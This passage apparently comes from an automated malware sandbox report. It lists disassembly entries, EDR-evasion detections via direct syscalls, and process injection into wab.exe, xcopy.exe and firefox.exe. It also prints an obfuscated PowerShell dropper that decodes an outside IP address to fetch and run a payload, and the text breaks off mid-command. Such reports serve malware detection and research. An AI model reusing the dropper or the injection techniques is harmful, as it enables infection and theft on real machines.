Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039027ED mov eax, dword ptr fs:[00000030h] 22_2_039027ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039027ED mov eax, dword ptr fs:[00000030h] 22_2_039027ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03910710 mov eax, dword ptr fs:[00000030h] 22_2_03910710
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E5702 mov eax, dword ptr fs:[00000030h] 22_2_038E5702
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E5702 mov eax, dword ptr fs:[00000030h] 22_2_038E5702
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E7703 mov eax, dword ptr fs:[00000030h] 22_2_038E7703
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391F71F mov eax, dword ptr fs:[00000030h] 22_2_0391F71F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391F71F mov eax, dword ptr fs:[00000030h] 22_2_0391F71F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391C700 mov eax, dword ptr fs:[00000030h] 22_2_0391C700
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E0710 mov eax, dword ptr fs:[00000030h] 22_2_038E0710
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395C730 mov eax, dword ptr fs:[00000030h] 22_2_0395C730
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03915734 mov eax, dword ptr fs:[00000030h] 22_2_03915734
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BB73C mov eax, dword ptr fs:[00000030h] 22_2_039BB73C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BB73C mov eax, dword ptr fs:[00000030h] 22_2_039BB73C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BB73C mov eax, dword ptr fs:[00000030h] 22_2_039BB73C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BB73C mov eax, dword ptr fs:[00000030h] 22_2_039BB73C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391273C mov eax, dword ptr fs:[00000030h] 22_2_0391273C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391273C mov ecx, dword ptr fs:[00000030h] 22_2_0391273C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391273C mov eax, dword ptr fs:[00000030h] 22_2_0391273C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E3720 mov eax, dword ptr fs:[00000030h] 22_2_038E3720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FF720 mov eax, dword ptr fs:[00000030h] 22_2_038FF720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FF720 mov eax, dword ptr fs:[00000030h] 22_2_038FF720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FF720 mov eax, dword ptr fs:[00000030h] 22_2_038FF720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391C720 mov eax, dword ptr fs:[00000030h] 22_2_0391C720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391C720 mov eax, dword ptr fs:[00000030h] 22_2_0391C720
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A972B mov eax, dword ptr fs:[00000030h] 22_2_039A972B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E973A mov eax, dword ptr fs:[00000030h] 22_2_038E973A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E973A mov eax, dword ptr fs:[00000030h] 22_2_038E973A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F72E mov eax, dword ptr fs:[00000030h] 22_2_0399F72E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9730 mov eax, dword ptr fs:[00000030h] 22_2_038D9730
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9730 mov eax, dword ptr fs:[00000030h] 22_2_038D9730
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922750 mov eax, dword ptr fs:[00000030h] 22_2_03922750
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922750 mov eax, dword ptr fs:[00000030h] 22_2_03922750
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03964755 mov eax, dword ptr fs:[00000030h] 22_2_03964755
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F3740 mov eax, dword ptr fs:[00000030h] 22_2_038F3740
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F3740 mov eax, dword ptr fs:[00000030h] 22_2_038F3740
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F3740 mov eax, dword ptr fs:[00000030h] 22_2_038F3740
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B3749 mov eax, dword ptr fs:[00000030h] 22_2_039B3749
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391674D mov esi, dword ptr fs:[00000030h] 22_2_0391674D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391674D mov eax, dword ptr fs:[00000030h] 22_2_0391674D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391674D mov eax, dword ptr fs:[00000030h] 22_2_0391674D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E0750 mov eax, dword ptr fs:[00000030h] 22_2_038E0750
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB765 mov eax, dword ptr fs:[00000030h] 22_2_038DB765
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB765 mov eax, dword ptr fs:[00000030h] 22_2_038DB765
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB765 mov eax, dword ptr fs:[00000030h] 22_2_038DB765
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB765 mov eax, dword ptr fs:[00000030h] 22_2_038DB765
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E8770 mov eax, dword ptr fs:[00000030h] 22_2_038E8770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 mov eax, dword ptr fs:[00000030h] 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396368C mov eax, dword ptr fs:[00000030h] 22_2_0396368C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396368C mov eax, dword ptr fs:[00000030h] 22_2_0396368C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396368C mov eax, dword ptr fs:[00000030h] 22_2_0396368C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396368C mov eax, dword ptr fs:[00000030h] 22_2_0396368C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E4690 mov eax, dword ptr fs:[00000030h] 22_2_038E4690
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E4690 mov eax, dword ptr fs:[00000030h] 22_2_038E4690
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039166B0 mov eax, dword ptr fs:[00000030h] 22_2_039166B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD6AA mov eax, dword ptr fs:[00000030h] 22_2_038DD6AA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD6AA mov eax, dword ptr fs:[00000030h] 22_2_038DD6AA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391C6A6 mov eax, dword ptr fs:[00000030h] 22_2_0391C6A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D76B2 mov eax, dword ptr fs:[00000030h] 22_2_038D76B2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D76B2 mov eax, dword ptr fs:[00000030h] 22_2_038D76B2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D76B2 mov eax, dword ptr fs:[00000030h] 22_2_038D76B2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EB6C0 mov eax, dword ptr fs:[00000030h] 22_2_038EB6C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391A6C7 mov ebx, dword ptr fs:[00000030h] 22_2_0391A6C7
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391A6C7 mov eax, dword ptr fs:[00000030h] 22_2_0391A6C7
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A16CC mov eax, dword ptr fs:[00000030h] 22_2_039A16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A16CC mov eax, dword ptr fs:[00000030h] 22_2_039A16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A16CC mov eax, dword ptr fs:[00000030h] 22_2_039A16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A16CC mov eax, dword ptr fs:[00000030h] 22_2_039A16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F6C7 mov eax, dword ptr fs:[00000030h] 22_2_0399F6C7
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039116CF mov eax, dword ptr fs:[00000030h] 22_2_039116CF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E6F2 mov eax, dword ptr fs:[00000030h] 22_2_0395E6F2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E6F2 mov eax, dword ptr fs:[00000030h] 22_2_0395E6F2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E6F2 mov eax, dword ptr fs:[00000030h] 22_2_0395E6F2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395E6F2 mov eax, dword ptr fs:[00000030h] 22_2_0395E6F2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039606F1 mov eax, dword ptr fs:[00000030h] 22_2_039606F1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039606F1 mov eax, dword ptr fs:[00000030h] 22_2_039606F1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399D6F0 mov eax, dword ptr fs:[00000030h] 22_2_0399D6F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390D6E0 mov eax, dword ptr fs:[00000030h] 22_2_0390D6E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390D6E0 mov eax, dword ptr fs:[00000030h] 22_2_0390D6E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039736EE mov eax, dword ptr fs:[00000030h] 22_2_039736EE
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039136EF mov eax, dword ptr fs:[00000030h] 22_2_039136EF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F260B mov eax, dword ptr fs:[00000030h] 22_2_038F260B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F260B mov eax, dword ptr fs:[00000030h] 22_2_038F260B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F260B mov eax, dword ptr fs:[00000030h] 22_2_038F260B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F260B mov eax, dword ptr fs:[00000030h] 22_2_038F260B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F260B mov eax, dword ptr fs:[00000030h] 22_2_038F260B

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtResumeThread: Direct from: 0x773836AC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtMapViewOfSection: Direct from: 0x77382D1C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtWriteVirtualMemory: Direct from: 0x77382E3C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtProtectVirtualMemory: Direct from: 0x77382F9C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtSetInformationThread: Direct from: 0x773763F9 Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtCreateMutant: Direct from: 0x773835CC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtNotifyChangeKey: Direct from: 0x77383C2C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtSetInformationProcess: Direct from: 0x77382C5C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtCreateUserProcess: Direct from: 0x7738371C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQueryInformationProcess: Direct from: 0x77382C26 Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtResumeThread: Direct from: 0x77382FBC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtWriteVirtualMemory: Direct from: 0x7738490C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtOpenKeyEx: Direct from: 0x77383C9C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtReadFile: Direct from: 0x77382ADC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtAllocateVirtualMemory: Direct from: 0x77382BFC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtDelayExecution: Direct from: 0x77382DDC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQuerySystemInformation: Direct from: 0x77382DFC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtOpenSection: Direct from: 0x77382E0C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQueryVolumeInformationFile: Direct from: 0x77382F2C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQuerySystemInformation: Direct from: 0x773848CC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtReadVirtualMemory: Direct from: 0x77382E8C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtCreateKey: Direct from: 0x77382C6C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtAllocateVirtualMemory: Direct from: 0x773848EC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQueryAttributesFile: Direct from: 0x77382E6C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtSetInformationThread: Direct from: 0x77382B4C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQueryInformationToken: Direct from: 0x77382CAC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtOpenKeyEx: Direct from: 0x77382B9C Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtQueryValueKey: Direct from: 0x77382BEC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtDeviceIoControlFile: Direct from: 0x77382AEC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtCreateFile: Direct from: 0x77382FEC Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe NtOpenFile: Direct from: 0x77382DCC Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: NULL target: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: NULL target: C:\Program Files (x86)\Windows Mail\wab.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: NULL target: C:\Windows\SysWOW64\xcopy.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\xcopy.exe Thread APC queued: target process: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3240000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 323FA28 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1 Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping %.%.%.% Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. 